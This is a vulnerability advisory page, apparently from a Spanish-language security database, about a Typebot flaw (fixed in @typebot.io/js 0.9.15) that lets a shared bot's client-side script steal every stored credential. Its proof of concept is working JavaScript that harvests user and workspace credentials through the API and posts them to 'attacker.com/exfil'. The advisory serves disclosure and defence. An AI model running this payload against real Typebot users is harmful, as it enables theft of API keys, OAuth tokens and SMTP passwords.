Alta

Typebot affected by Credential Theft via Client-Side Script Execution and API Authorization Bypass

  • Publicada: 22.01.2026
  • Actualizado: 11.10.2026 10:22

Summary

Client-side script execution in Typebot allows stealing all stored credentials from any user. When a victim previews a malicious typebot by clicking "Run", JavaScript executes in their browser and exfiltrates their OpenAI keys, Google Sheets tokens, and SMTP passwords. The /api/trpc/credentials.getCredentials endpoint returns plaintext API keys without verifying credential ownership


Details

The Script block with "Execute on client" enabled runs arbitrary JavaScript in the victim's browser with their authenticated session. This allows API calls on their behalf.

The /api/trpc/credentials.getCredentials endpoint returns plaintext credentials:

http
GET /api/trpc/credentials.getCredentials?input={"json":{"scope":"user","credentialsId":"cm6sofgv200085ms9d2qyvgwc"}}

Response:
{
  "result": {
    "data": {
      "json": {
        "name": "My OpenAI Key",
        "data": { "apiKey": "sk-proj-abc123...xyz789" }
      }
    }
  }
}

The endpoint only checks if you're authenticated, not if you own the credential. Anyone can steal credentials by calling this with different IDs.

Vulnerable file: packages/embeds/js/src/features/blocks/logic/script/executeScript.ts


PoC

Here's how to reproduce:

  1. Create a new typebot in the Builder
  2. Add a Script block and enable "Execute on client"
  3. Paste this code:
js
const exfil = async () => {
  const data = { credentials: [] };

  const list = await fetch(
    "https://app.typebot.io/api/trpc/credentials.listCredentials?input=" +
      encodeURIComponent(JSON.stringify({ json: { scope: "user" } })),
    { credentials: "include" }
  );
  const creds = (await list.json()).result?.data?.json?.credentials || [];

  for (const c of creds) {
    const full = await fetch(
      "https://app.typebot.io/api/trpc/credentials.getCredentials?input=" +
        encodeURIComponent(
          JSON.stringify({ json: { scope: "user", credentialsId: c.id } })
        ),
      { credentials: "include" }
    );
    const d = await full.json();
    data.credentials.push({
      name: d.result.data.json.name,
      type: c.type,
      apiKey: d.result.data.json.data.apiKey,
      fullData: d.result.data.json.data,
    });
  }

  const ws = await fetch(
    "https://app.typebot.io/api/trpc/workspace.listWorkspaces",
    { credentials: "include" }
  );
  const workspaces = (await ws.json()).result.data.json.workspaces;

  for (const w of workspaces) {
    const wsList = await fetch(
      "https://app.typebot.io/api/trpc/credentials.listCredentials?input=" +
        encodeURIComponent(
          JSON.stringify({ json: { workspaceId: w.id, scope: "workspace" } })
        ),
      { credentials: "include" }
    );
    const wsCreds = (await wsList.json()).result?.data?.json?.credentials || [];

    for (const c of wsCreds) {
      const full = await fetch(
        "https://app.typebot.io/api/trpc/credentials.getCredentials?input=" +
          encodeURIComponent(
            JSON.stringify({
              json: {
                workspaceId: w.id,
                scope: "workspace",
                credentialsId: c.id,
              },
            })
          ),
        { credentials: "include" }
      );
      const d = await full.json();
      data.credentials.push({
        workspace: w.name,
        name: d.result.data.json.name,
        type: c.type,
        fullData: d.result.data.json.data,
      });
    }
  }

  await fetch("https://attacker.com/exfil", {
    method: "POST",
    body: JSON.stringify(data),
  });
};
await exfil();
  1. Share typebot with victim
  2. When victim clicks "Run" to preview, script executes
  3. All credentials exfiltrated in plaintext:
js
{
  "credentials": [
    {
      "name": "My OpenAI",
      "type": "openai",
      "apiKey": "sk-proj-abc123...",
      "fullData": { "apiKey": "sk-proj-abc123..." }
    },
    {
      "workspace": "Company Workspace",
      "name": "Google Sheets",
      "type": "google-sheets",
      "fullData": {
        "refresh_token": "1//0gHdP...",
        "access_token": "ya29.a0..."
      }
    }
  ]
}

Impact

All Typebot users storing credentials are affected. Attackers can steal OpenAI API keys, Google Sheets tokens, SMTP passwords, and all other stored credentials.

Example: Attacker creates a "Customer Feedback Template" and shares with 5 company employees. When they preview it, the attacker obtains the company's OpenAI key ($500+/month), Google Sheets access with customer data, and SMTP credentials.

Root causes:

  • Client-side scripts execute with victim's authenticated session
  • API returns plaintext credentials without ownership verification
  • No user warnings or consent prompts
  • Exploitable with free tier account

CWE-639 (Authorization Bypass), CWE-79 (XSS), CWE-311 (Missing Encryption)

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm @typebot.io/js < 0.9.15 0.9.15

Referencias

Puntuación CVSS 7.4/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Debilidad (CWE)
CWE-79
Plataforma
npm
Paquete
@typebot.io/js
Publicada
22.01.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-4xc5-wfwc-jw47 - CC BY 4.0

Historial de vulnerabilidades: @typebot.io/js

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
3
Primera → última
01.2026 05.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Alta 2
  • Media 1

Divulgaciones por año

  1. 2026: 3
  1. Typebot affected by Credential Theft via Client-Side Script Execution and API Authorization Bypass esta entrada
    Alta · 7.4 CVE-2025-65098 < 0.9.15 0.9.15

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.